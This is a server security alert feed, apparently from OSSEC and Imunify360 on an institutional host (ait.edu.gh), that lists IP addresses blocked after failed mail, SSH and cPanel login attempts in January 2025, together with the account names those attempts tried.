abuser: 125.21.141.54
description:
Jan 26 18:44:00 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.21.141.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.234.188.85
description:
2025-01-26 18:43:24 dovecot_plain authenticator failed for ([120.234.188.85]) [120.234.188.85]:50144: 535 Incorrect authentication data (set_id=yeboah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.130.200.51
description:
2025-01-26 18:43:27 dovecot_login authenticator failed for mail.infologic.co.il [85.130.200.51]:47125: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.241.228.76
description:
2025-01-26 18:43:57 dovecot_login authenticator failed for ([104.241.228.76]) [104.241.228.76]:52061: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 5.160.247.200
domain: mail.iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:Administrarot||WPU:Administrarot||RSV:6.65||T:APACHE||MV:18-43.5.160.247.200


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.50.164.146
description:
Jan 26 18:43:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.50.164.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.241.228.76
description:
Jan 26 18:43:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.241.228.76 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.170.6
description:
2025-01-26 18:43:05 dovecot_plain authenticator failed for ([125.139.170.6]) [125.139.170.6]:34242: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.0.8.92
description:
2025-01-26 18:43:14 dovecot_plain authenticator failed for ([31.0.8.92]) [31.0.8.92]:40574: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.234.188.85
description:
Jan 26 18:43:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.234.188.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.103.111.11
description:
Jan 26 18:44:35 ait sshd[2390104]: pam_imunify(sshd:auth): [IM360_RBL] The IP 14.103.111.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.212.20.131
description:
Jan 26 18:44:36 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.212.20.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.20.131
description:
2025-01-26 18:44:38 dovecot_plain authenticator failed for ([123.212.20.131]) [123.212.20.131]:40386: 535 Incorrect authentication data (set_id=eng18b00213y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.221.104.33
description:
Jan 26 18:44:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.221.104.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.8.22.30
description:
2025-01-26 18:44:56 dovecot_plain authenticator failed for ([221.8.22.30]) [221.8.22.30]:46508: 535 Incorrect authentication data (set_id=eng18b00213y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.67.123.202
description:
Jan 26 18:44:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.67.123.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
description:
2025-01-26 18:44:12 dovecot_login authenticator failed for 54.126.103.87.rev.vodafone.pt [87.103.126.54]:22841: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.247.92.186
description:
2025-01-26 18:44:21 dovecot_plain authenticator failed for ([60.247.92.186]) [60.247.92.186]:48541: 535 Incorrect authentication data (set_id=fusheini)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.157.230
description:
2025-01-26 18:44:34 dovecot_plain authenticator failed for (unrus) [207.188.157.230]:38262: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 14.103.111.11
description:
Jan 26 18:44:35 ait sshd[2390104]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=14.103.111.11


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.159.173.105
description:
Jan 26 18:44:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.159.173.105 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.159.173.105
description:
2025-01-26 18:44:52 dovecot_login authenticator failed for (105.5-159-173.dynamic.clientes.euskaltel.es) [5.159.173.105]:48806: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.8.22.30
description:
Jan 26 18:44:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.8.22.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.67.123.202
description:
2025-01-26 18:44:09 dovecot_plain authenticator failed for ([218.67.123.202]) [218.67.123.202]:37903: 535 Incorrect authentication data (set_id=fusheini@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.105.182.88
description:
Jan 26 18:45:00 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.105.182.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.247.92.186
description:
Jan 26 18:44:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.247.92.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.245
description:
2025-01-26 18:44:36 dovecot_plain authenticator failed for (m121-202-152-245.smartone.com) [121.202.152.245]:10286: 535 Incorrect authentication data (set_id=ads17b00137y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
description:
Jan 26 18:44:10 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.152.245
description:
Jan 26 18:44:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.152.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 99.216.83.141
description:
Jan 26 18:44:46 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 99.216.83.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.221.104.33
description:
2025-01-26 18:44:47 dovecot_plain authenticator failed for ([124.221.104.33]) [124.221.104.33]:56740: 535 Incorrect authentication data (set_id=ads17b00137y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 99.216.83.141
description:
2025-01-26 18:44:48 dovecot_login authenticator failed for ([99.216.83.141]) [99.216.83.141]:58909: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.105.182.88
description:
2025-01-26 18:45:02 dovecot_login authenticator failed for ([222.105.182.88]) [222.105.182.88]:57260: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.188.157.230
description:
Jan 26 18:44:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.188.157.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.172.126.247
description:
Jan 26 18:45:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.172.126.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.245.227
description:
2025-01-26 18:45:37 dovecot_login authenticator failed for ([220.77.245.227]) [220.77.245.227]:58216: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 92.118.39.71
description:
Jan 26 18:45:45 ait sshd[2390955]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=92.118.39.71


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.114.94.242
description:
Jan 26 18:45:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.114.94.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
description:
2025-01-26 18:45:14 dovecot_login authenticator failed for ([116.114.94.242]) [116.114.94.242]:54462: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.49.113.138
description:
Jan 26 18:45:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.49.113.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.202.82.251
description:
2025-01-26 18:45:52 dovecot_login authenticator failed for ([175.202.82.251]) [175.202.82.251]:53460: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.93.101
description:
Jan 26 18:45:46 ait sshd[2390952]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.93.101  user=gvu


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.192
description:
Jan 26 18:45:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.192 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.192
description:
2025-01-26 18:45:49 dovecot_plain authenticator failed for ([178.178.194.192]) [178.178.194.192]:49466: 535 Incorrect authentication data (set_id=ads09a99049y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.243
description:
Jan 26 18:45:55 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.10.212
description:
Jan 26 18:45:17 ait sshd[2390767]: pam_imunify(sshd:auth): [IM360_RBL] The IP 182.61.10.212 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.123.78.13
description:
2025-01-26 18:45:41 dovecot_plain authenticator failed for (13-78-123-185.host.cirex.ru) [185.123.78.13]:9333: 535 Incorrect authentication data (set_id=ads09a99049y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.205.191.27
description:
2025-01-26 18:45:58 dovecot_login authenticator failed for ([175.205.191.27]) [175.205.191.27]:53738: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.48.49.68
description:
Jan 26 18:45:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.48.49.68 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 182.61.10.212
description:
Jan 26 18:45:17 ait sshd[2390767]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=182.61.10.212


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.77.245.227
description:
Jan 26 18:45:35 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.77.245.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.89.202.226
description:
2025-01-26 18:45:37 dovecot_login authenticator failed for syn-097-089-202-226.biz.spectrum.com [97.89.202.226]:49377: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.123.78.13
description:
Jan 26 18:45:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.123.78.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.130.207.117
description:
Jan 26 18:45:48 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.130.207.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.48.49.68
description:
2025-01-26 18:45:55 dovecot_login authenticator failed for ([144.48.49.68]) [144.48.49.68]:33008: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.205.191.27
description:
Jan 26 18:45:56 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.205.191.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 26 18:45:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 97.89.202.226
description:
Jan 26 18:45:35 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 97.89.202.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.172.126.247
description:
2025-01-26 18:45:35 dovecot_plain authenticator failed for ([112.172.126.247]) [112.172.126.247]:42106: 535 Incorrect authentication data (set_id=jpomador@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.202.82.251
description:
Jan 26 18:45:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.202.82.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.243
description:
2025-01-26 18:45:57 dovecot_login authenticator failed for ([111.61.176.243]) [111.61.176.243]:28828: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.93.101
description:
Jan 26 18:45:46 ait sshd[2390952]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.93.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
description:
2025-01-26 18:45:45 dovecot_login authenticator failed for (www.safecleen.com) [58.49.113.138]:12080: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.130.207.117
description:
2025-01-26 18:45:50 dovecot_plain authenticator failed for bzq-85-130-207-117.static.bezeqint.net [85.130.207.117]:35734: 535 Incorrect authentication data (set_id=jpomador)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.39.71
description:
Jan 26 18:45:45 ait sshd[2390955]: pam_imunify(sshd:auth): [IM360_RBL] The IP 92.118.39.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.27.4.98
description:
Jan 26 18:46:03 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.27.4.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.62.20.170
description:
Jan 26 18:46:57 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.62.20.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.27.4.98
description:
2025-01-26 18:46:05 dovecot_login authenticator failed for (98.4.27.218.adsl-pool.jlccptt.net.cn) [218.27.4.98]:34154: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.137
description:
Jan 26 18:46:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.188.18.25
description:
2025-01-26 18:46:44 dovecot_login authenticator failed for ([118.188.18.25]) [118.188.18.25]:29946: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.79.108.51
description:
Jan 26 18:46:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.79.108.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.198.129.54
description:
2025-01-26 18:46:28 dovecot_plain authenticator failed for ip54-129-198-217.pool-bba.aruba.it [217.198.129.54]:41240: 535 Incorrect authentication data (set_id=suvie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.188.18.25
description:
Jan 26 18:46:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.188.18.25 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.72.23.248
description:
[2025-01-26 18:46:07 +0100] info [webmaild] 177.72.23.248 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.137
description:
2025-01-26 18:46:39 dovecot_plain authenticator failed for ([178.178.194.137]) [178.178.194.137]:38632: 535 Incorrect authentication data (set_id=suvie)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
description:
2025-01-26 18:46:54 dovecot_login authenticator failed for (dynamicip-95-79-108-51.pppoe.nn.ertelecom.ru) [95.79.108.51]:35319: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.62.20.170
description:
2025-01-26 18:46:59 dovecot_login authenticator failed for syn-074-062-020-170.biz.spectrum.com [74.62.20.170]:59471: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.198.129.54
description:
Jan 26 18:46:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.198.129.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.181.196.97
description:
2025-01-26 18:47:23 dovecot_plain authenticator failed for (97.196.181.45.datasysteminfor.com.br) [45.181.196.97]:45335: 535 Incorrect authentication data (set_id=abs20b00166y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.108.208
description:
[2025-01-26 18:47:10 +0100] info [cpaneld] 156.228.108.208 - awadzie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user awadzie (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.188.253.150
description:
Jan 26 18:47:11 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.188.253.150 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.52.148
description:
[2025-01-26 18:47:11 +0100] info [whostmgrd] 104.207.52.148 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.89.166
description:
[2025-01-26 18:47:08 +0100] info [cpaneld] 156.228.89.166 - awadzie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user awadzie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.44.49
description:
[2025-01-26 18:47:09 +0100] info [cpaneld] 104.207.44.49 - awadzie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user awadzie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.117.67
description:
[2025-01-26 18:47:12 +0100] info [whostmgrd] 156.228.117.67 - awadzie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.171.135.254
description:
2025-01-26 18:47:45 dovecot_plain authenticator failed for ([60.171.135.254]) [60.171.135.254]:42438: 535 Incorrect authentication data (set_id=abs20b00166y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.178.110.209
description:
Jan 26 18:47:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.178.110.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.178.110.209
description:
2025-01-26 18:47:35 dovecot_login authenticator failed for ([195.178.110.209]) [195.178.110.209]:58822: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.104.56
description:
[2025-01-26 18:47:11 +0100] info [whostmgrd] 156.228.104.56 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
description:
2025-01-26 18:47:13 dovecot_login authenticator failed for ([180.188.253.150]) [180.188.253.150]:37396: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.57.137
description:
[2025-01-26 18:47:09 +0100] info [cpaneld] 104.207.57.137 - aitedugh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aitedugh (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.196.97
description:
Jan 26 18:47:21 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.196.97 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.109.20
description:
[2025-01-26 18:47:12 +0100] info [whostmgrd] 156.228.109.20 - awadzie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.171.135.254
description:
Jan 26 18:47:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.171.135.254 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.102.143
description:
[2025-01-26 18:47:08 +0100] info [cpaneld] 156.228.102.143 - ait "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ait (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.228.91.124
description:
[2025-01-26 18:47:10 +0100] info [whostmgrd] 156.228.91.124 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 104.207.53.59
description:
[2025-01-26 18:47:11 +0100] info [whostmgrd] 104.207.53.59 - awadzie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 210.180.118.166
description:
Jan 26 18:49:00 ait sshd[2392200]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.180.118.166  user=gvu


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.28.87.38
description:
2025-01-26 18:48:27 dovecot_login authenticator failed for ([1.28.87.38]) [1.28.87.38]:35391: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.95.234
description:
Jan 26 18:48:47 ait sshd[2392150]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.95.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.180.118.166
description:
Jan 26 18:49:00 ait sshd[2392200]: pam_imunify(sshd:auth): [IM360_RBL] The IP 210.180.118.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.227.228.136
description:
Jan 26 18:48:41 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.227.228.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.175.146.138
description:
Jan 26 18:48:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.175.146.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.175.146.138
description:
2025-01-26 18:48:15 dovecot_login authenticator failed for ([60.175.146.138]) [60.175.146.138]:55698: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.234.245.7
description:
2025-01-26 18:48:31 dovecot_plain authenticator failed for (net245.234.188-7.ertelecom.ru) [188.234.245.7]:51818: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.234.245.7
description:
Jan 26 18:48:29 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.234.245.7 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.95.234
description:
Jan 26 18:48:47 ait sshd[2392150]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.95.234


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.136
description:
2025-01-26 18:48:43 dovecot_plain authenticator failed for ([1.227.228.136]) [1.227.228.136]:39633: 535 Incorrect authentication data (set_id=botchway)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.28.87.38
description:
Jan 26 18:48:25 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.28.87.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.37.206.76
description:
2025-01-26 18:49:44 dovecot_login authenticator failed for ([14.37.206.76]) [14.37.206.76]:37137: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.195.150
description:
2025-01-26 18:50:01 dovecot_login authenticator failed for ([91.73.195.150]) [91.73.195.150]:52099: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.178.158.132
description:
2025-01-26 18:49:28 dovecot_login authenticator failed for ([103.178.158.132]) [103.178.158.132]:49270: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 26 18:49:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.37.206.76
description:
Jan 26 18:49:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.37.206.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.206.241.22
description:
Jan 26 18:49:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.206.241.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.230.184
description:
Jan 26 18:49:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.230.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.178.158.132
description:
Jan 26 18:49:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.178.158.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 26 18:50:02 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.73.195.150
description:
